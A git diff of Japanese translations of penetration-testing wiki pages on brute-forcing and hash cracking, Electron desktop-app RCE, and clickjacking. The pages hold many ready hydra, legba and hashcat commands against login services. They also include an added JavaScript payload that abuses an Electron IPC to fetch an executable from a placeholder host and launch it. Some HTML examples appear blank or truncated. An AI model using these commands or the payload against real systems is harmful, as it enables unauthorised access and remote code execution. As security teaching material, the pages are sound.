diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index d4789334a..146610008 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -4,7 +4,7 @@ ## デフォルトの資格情報 -**使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください**: +**使用されている技術のデフォルトの資格情報をGoogleで検索**するか、**これらのリンクを試してください**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -21,7 +21,7 @@ ## **独自の辞書を作成する** -ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール: +ターゲットに関する情報をできるだけ多く集めて、カスタム辞書を生成します。役立つツール: ### Crunch ```bash @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### ウェブサイトベースのワードリスト ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -### Docker レジストリ +### Docker Registry ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` @@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - ポストフォーム +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -271,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -**oracle_login**を**patator**で使用するには、**インストール**する必要があります: +**oracle_login**を**patator**で使用するには、**install**する必要があります: ```bash pip3 install cx_Oracle --upgrade ``` @@ -395,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### 弱いSSHキー / Debianの予測可能なPRNG -一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能な大幅に減少したキー空間が生じる可能性があります。弱いキーの事前生成されたセットも利用可能であり、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。 +一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キー空間が劇的に減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)のようなツールでブルートフォース攻撃が可能になります。弱いキーの事前生成されたセットも利用可能で、例えば[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)があります。 -### STOMP (ActiveMQ, RabbitMQ, HornetQおよびOpenMQ) +### STOMP (ActiveMQ, RabbitMQ, HornetQ および OpenMQ) -STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、OpenMQなどの人気のあるメッセージキューサービスとの**シームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。 +STOMPテキストプロトコルは、**RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューサービスとのシームレスな通信と相互作用を可能にする**広く使用されているメッセージングプロトコルです。メッセージを交換し、さまざまなメッセージング操作を実行するための標準化された効率的なアプローチを提供します。 ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -471,9 +478,9 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### 既知平文ZIP攻撃 +#### Known plaintext zip attack -暗号化されたZIP内に含まれるファイルの**平文**(または平文の一部)を知っている必要があります。暗号化されたZIP内に含まれる**ファイル名とファイルのサイズ**を確認するには、次のコマンドを実行します: **`7z l encrypted.zip`**\ +暗号化されたzip内に含まれる**ファイルの** **平文**(または平文の一部)を知っている必要があります。暗号化されたzip内に含まれる**ファイル名とファイルサイズ**を確認するには、**`7z l encrypted.zip`**を実行します。\ [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -528,7 +535,7 @@ Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -### キーパス +### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -536,7 +543,7 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` -### ケベロースティング +### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt @@ -553,7 +560,7 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -#### 方法 2 +#### 方法2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -585,10 +592,10 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ### Open Office パスワード保護された列 -パスワードで保護された列を持つ xlsx ファイルがある場合、次のようにして解除できます: +パスワードで保護された列を持つ xlsx ファイルがある場合、次のようにして保護を解除できます: - **Google ドライブにアップロード**すると、パスワードが自動的に削除されます。 -- **手動で**解除するには: +- **手動で**それを**削除**するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -701,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -Linuxハッシュのクラッキング - /etc/shadowファイル +Linuxハッシュのクラック - /etc/shadowファイル ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index e96a4ccd9..ec8d8bbd2 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -32,7 +32,7 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -**renderer process**の設定は、main.jsファイル内の**main process**で**設定**できます。いくつかの設定は、**設定が正しく構成されていれば**、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。 +**renderer process**の設定は、main.jsファイル内の**main process**で**構成**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。 Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます: @@ -42,10 +42,10 @@ Electronアプリケーションは、Node APIを介して**デバイスにア - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。 - WorkersにおけるNode Integration - **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。 -- **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js APIs**を使用することを許可します。 -- **`nodeIntegration`**が**無効**になっている場合、preloadはiframe内で読み込まれます。 +- **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js APIs**の使用を許可します。 +- **`nodeIntegration`**が**無効**になっている場合、preloadsはiframe内で読み込まれます。 -設定の例: +構成の例: ```javascript const mainWindowOptions = { title: "Discord", @@ -111,7 +111,7 @@ Electronアプリをローカルで実行できる場合、任意のJavaScript ## RCE: XSS + nodeIntegration -**nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです: +**nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsで計算機アプリケーションを実行する方法は次の通りです: ```html ``` +## RCE: webviewTag + 脆弱なプリロードIPC + shell.openExternal + +この脆弱性は**[このレポート](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**にあります。 + +**webviewTag**は**非推奨の機能**で、**レンダラープロセス**内で**NodeJS**を使用することを可能にします。これは、プリロードコンテキスト内でスクリプトを読み込むことを許可するため、無効にするべきです。 +```xml + +``` +したがって、任意のページを読み込むことができる攻撃者は、そのタグを使用して**任意のプリロードスクリプトを読み込む**ことができます。 + +このプリロードスクリプトは、その後、**脆弱なIPCサービス(`skype-new-window`)**を呼び出すために悪用され、**`shell.openExternal`**を呼び出してRCEを取得しました: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## 内部ファイルの読み取り: XSS + contextIsolation -**`contextIsolation`を無効にすると、ローカルファイルを読み取るために``タグを使用できるようになります**。これは` ``` -### ドラッグ&ドロップ + クリックペイロード +### Drag\&Drop + Click ペイロード ```css @@ -89,16 +89,18 @@ background: #F00; ``` ### XSS + Clickjacking -もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーを騙してボタン/リンクをクリックさせるためにそれを悪用することができます。\ +もしあなたが**ユーザーがクリックする必要があるXSS攻撃**を特定し、ページが**クリックジャッキングに脆弱**であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。\ 例:\ あなたはアカウントのいくつかのプライベートな詳細に**自己XSS**を見つけました(**あなたのみが設定および読み取ることができる**詳細)。これらの詳細を設定するための**フォーム**が**クリックジャッキングに脆弱**であり、GETパラメータで**フォーム**を**事前入力**することができます。\ -攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信され**、値が変更されると、**ユーザーはXSSを実行します**。 +攻撃者は、そのページに対して**XSSペイロード**で**フォーム**を**事前入力**し、**ユーザー**を**フォームを送信**させるように**騙す**ための**クリックジャッキング**攻撃を準備することができます。したがって、**フォームが送信されると**、値が変更され、**ユーザーはXSSを実行します**。 ### ダブルクリックジャッキング -最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、ダウンイベントとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。 +最初に[この投稿で説明された](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html)この技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、マウスダウンとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、**犠牲者が実際に犠牲者のページの正当なボタンをクリックする**ことを可能にします。 -例はこのビデオで見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) +このビデオで例を見ることができます:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18) + +コードの例は[このページ](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)にあります。 > [!WARNING] > この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は**OAuthの権限を受け入れるプロンプトのように、1回のクリックで実行できる敏感なアクションを見つける必要があります**。 @@ -111,13 +113,13 @@ background: #F00; - アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。 - すべてのフレームを表示可能にする。 -- 見えないフレームでのクリックを防ぐ。 +- 見えないフレームへのクリックを防ぐ。 - 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。 -ただし、これらのフレームバスターのスクリプトは回避される可能性があります: +ただし、これらのフレームバスティングスクリプトは回避される可能性があります: - **ブラウザのセキュリティ設定:** 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。 -- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスターのスクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。 +- **HTML5 iframe `sandbox`属性:** 攻撃者は、`allow-top-navigation`なしで`allow-forms`または`allow-scripts`の値を持つ`sandbox`属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。 ```html ') @@ -32,6 +32,22 @@ + + + + + + + + + + + + +